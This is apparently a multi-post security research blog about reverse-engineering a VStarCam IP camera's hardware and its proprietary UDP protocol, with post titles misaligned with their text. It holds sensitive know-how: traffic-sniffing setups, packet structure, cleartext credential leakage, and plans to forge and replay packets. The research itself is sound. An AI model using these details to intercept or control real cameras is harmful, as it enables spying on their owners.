Looking at the HTTP headers, we can also see that the web server the device is GoAhead webs, an embedded web server, and it also hasn't been updated since 2004. JUICY!

So this is where it gets interesting.

So, they already have an HTTP server to talk to the camera and serve CGI scripts, but they decided to add an extra protocol on top of that. This is where some strange UDP protocol starts to come into play.

Even though the camera and client were literally just talking via HTTP, it seems to forget all about that and try again to search for a new camera. The client sends out a 0xf1300000 packet to my subnet's broadcast address (192.168.11.255). We will call this packet the Broadcast Connection Packet or BCP for short.

The camera then replies back with a small part of its UID and the letter A. The client repeats this message back to the camera. We will call this the Broadcast Packet SYN or BPS for short.

The camera then sends the same packet back, this time with the A changed to a B. We will call this the Broadcast Packet ACK or BPA for short

Finally we arrive at the main phase of the connection, here we can observe three things happening.

1. The client and the camera are constantly engaging in a "ping pong" pattern message loop, where if either the client or the camera receives a 0xF1E0000 or 0xF1E10000, it replies back with the other packet. So for example, if a 0xF1E0000 is received it will reply back with 0xF1E10000. For reference 0xF1E0000 is ping, and 0xF1E1000 is pong. You can illustrate this best by using the Wireshark filter below frame contains F1:E1:00:00 || frame contains F1:E0:00:00 *

2. The client sends GET requests with a special header, via UDP to the camera. The client receives replies back denoting success or failure, and the results of the query, sometimes broken up into multiple packets. 3. The client receives video and picture data from the camera. livestream.cgi snapshot.cgi * audiosteam.cgi Let's focus a little more on number two, since one is already solved, and three requires more extensive knowledge of video formats and decoding.

The first 16 bytes of the packet are some sort of specialized header. We are going to want to get more samples of these to be able to learn how to forge our own. We also want to get samples to see if it might be vulnerable to replay tactics as, the header might block potential replay attacks. After that comes the GET request. Right off the bat we are hit with another oddity of the client, credential leakage, and unnecessary duplication. Not only are the communications not encrypted, so it also leaks the password on every GET interaction but, it also repeats the credentials twice just in case the first time wasn't good enough.

A short time afterwards the camera sends a packet that looks like this. This seems to acknowledge that the command went through.

Here we see another GET Request but this one is called "trans_cmd_string". No idea what this did at the time, but I took note of the two arguments cmd, and command.

We see a standard reply, again, comes with a special 16 byte header, and what seems to be some sort of Javascript or some sort of configuration. This was the reply to check_users.cgi.

This is another oddity, some times the GET request would have multiple stacked inside, starting with a 16 byte header, and padding each request with 8 bytes in the front.

What did we learn?

The device has some sort of HTTP service open, but the port changes for some reason, most likely with reboot. The device has some strange UDP protocol that encapsulates GET requests sent to the netcam. The device leaks username and password, as well as has confusing and strange argument duplication The device uses no encryption what-so-ever to encrypt video feeds and pictures sent by the device to the client. UDP GET requests have a special packet header The protocol is written in faulty ways, exemplified by the duplication of elements, strange request packing, and odd behavior.

Category Chain: VStarCam - Investigational Journey

Date: 2019-09-03

Author: Ian Rash

Skills & Technologies:

Hardware Security (Security) • 6 years — Physical and electrical security auditing of IoT microcontrollers, UART/JTAG interfaces, and flash dump analysis. [Wikipedia]
Reverse Engineering (Systems & Security) • 8 years — Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [Ghidra]
Security Research (Security) • 7 years — Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [Cve]

[VStarCam - Investigational Journey] Password Hashes & Exploitation

Ian Rash — Tue, 03 Sep 2019 00:00:00 GMT

Before I work on sniffing the client communications, I wanted to try a little discovery first to see anything interesting with the device.

Nmap

Since the device was pretty much a black box to me, I wanted to see if I could discover any services/open ports beforehand. Nmap didn't notice any open ports when I scanned, which was a bit odd.

Setting up network sniffing

You can set this up one of two ways depending on the hardware.

Poor man's method

Two USB to Ethernet Dongles (Recommended) Two PCI Wired Ethernet Cards

Use a utility called brctl, it's fairly straight forward to set this up, but I did have issues here and there with weird drops in connection.

These are the commands I used brctl addbr br0 brctl addif br0 [camera-interface] * brctl addif br0 [sniffing-interface]

Rich man's method

For this you need One USB to Ethernet Dongle or PCI Wired Ethernet Card Enterprise level switch

When I found out I could do this with my Cisco Catalyst 3750 I was ecstatic. For some reason, bridging didn't always work 100% as expected with the USB dongles and sometimes my internet would drop out while I was listening in on the camera. Once I found out you can use monitor session to forward packets from the camera to a one directional port, it saved me a lot of time and heart ache.

Just add this to your config. monitor session 1 source interface Gi4/0/13 monitor session 1 destination interface Gi4/0/23

You can then plug ther USB dongle into the switch on port 23, and all port 13 traffic will be routed there as well!

Category Chain: VStarCam - Investigational Journey

Date: 2019-09-03

Author: Ian Rash

Skills & Technologies:

Reverse Engineering (Systems & Security) • 8 years — Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [Ghidra]
Security Research (Security) • 7 years — Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [Cve]
Exploit PoC Development (Systems & Security) • 8 years — Authoring reproducible proof-of-concept exploits to validate security vulnerabilities and verify vendor remediation. [Cve]
C (Languages) • 12 years — Low-level system programming language for high-performance applications, memory management, and low-level system software. [Website]
Crystal (Languages) • 8 years — A fast, compiled, statically typed language with Ruby-inspired syntax. [Website | Github]

[VStarCam - Investigational Journey] Network Protocol Analysis

Ian Rash — Tue, 03 Sep 2019 00:00:00 GMT

The camera itself has some pretty useful hardware, some which could be very easily taken advantage of with the right tools.

Just a couple simple Phillips screws and you are inside.

The processor it uses is a HI3518 which apparently has already been hacked by other means. I quickly read through this article and unfortunately failed to locate any TX/RX pins I could solder into. I was a little disappointed by this, I had a spare USB PL2303 lying around for just such an occasion.

When googling the HI3518 I noticed a website ispyconnect.com which seemed to be some sort of IP Camera database. I used their website to search for my model of camera and ended up finding out the company who manufactured it, VStarCam. I want to point out, there is not a single marking anywhere on the device, including on the inside that would signify this to anyone. I also learned on this page that the camera can be potentially controlled by simple GET requests.

On one side of the board you can see an addon board where they added the wireless radio. (It's the blue PCB with the big silver square and the grey wire)

One other thing of note, the whole camera is powered by 5V DC, meaning you can power this thing off any USB port that can supply at least 1A. This is actually a pretty cool feature, because there are cheap USB battery backup options that could be used to augment the camera so it records even when the power is turned off.

Category Chain: VStarCam - Investigational Journey

Date: 2019-09-03

Author: Ian Rash

Skills & Technologies:

Security Research (Security) • 7 years — Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [Cve]
Reverse Engineering (Systems & Security) • 8 years — Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [Ghidra]
C (Languages) • 12 years — Low-level system programming language for high-performance applications, memory management, and low-level system software. [Website]

[VStarCam - Investigational Journey] Intro

Ian Rash — Tue, 03 Sep 2019 00:00:00 GMT

Hello everyone! Welcome to my new blog!

Today I wanted to talk about a project I've been working on, and detail some of the things I found and stuff I tried. I think it'll be a good post mortem for myself to study later when I need some of these tactics again.

A couple years ago, after watching a wonderful presentation at BlackHat, I bought a cheap $20 unbranded netcam. The camera came with a serial number on the bottom (C7824WIP). The camera itself isn't the worst, I mean it is a low quality Chinese camera, but the features on the device were pretty interesting. It has 2 axis panning, infrared night vision, speaker, microphone, and both wireless and wired connections, which is pretty good considering it only cost me like $20. However, a couple aspects about the device really made me worry, and as a security guy, I wanted to dig deeper.

I decided I'd try to do a full security audit on the device. I wanted to try it because I didn't really know anything about security cameras at the time, and I really wanted to try some of the skills I've picked up over the years. Black box testing can be really fun, and I love trying something I have little knowledge of just to see if I can succeed. I ended up learning a lot, which I would love to write down and share.

All source code is on sol-vin/vstarcam-investigational-journey

Category Chain: VStarCam - Investigational Journey

Date: 2019-09-03

Author: Ian Rash

Skills & Technologies:

Security Research (Security) • 7 years — Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [Cve]
Hardware Security (Security) • 6 years — Physical and electrical security auditing of IoT microcontrollers, UART/JTAG interfaces, and flash dump analysis. [Wikipedia]
Reverse Engineering (Systems & Security) • 8 years — Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [Ghidra]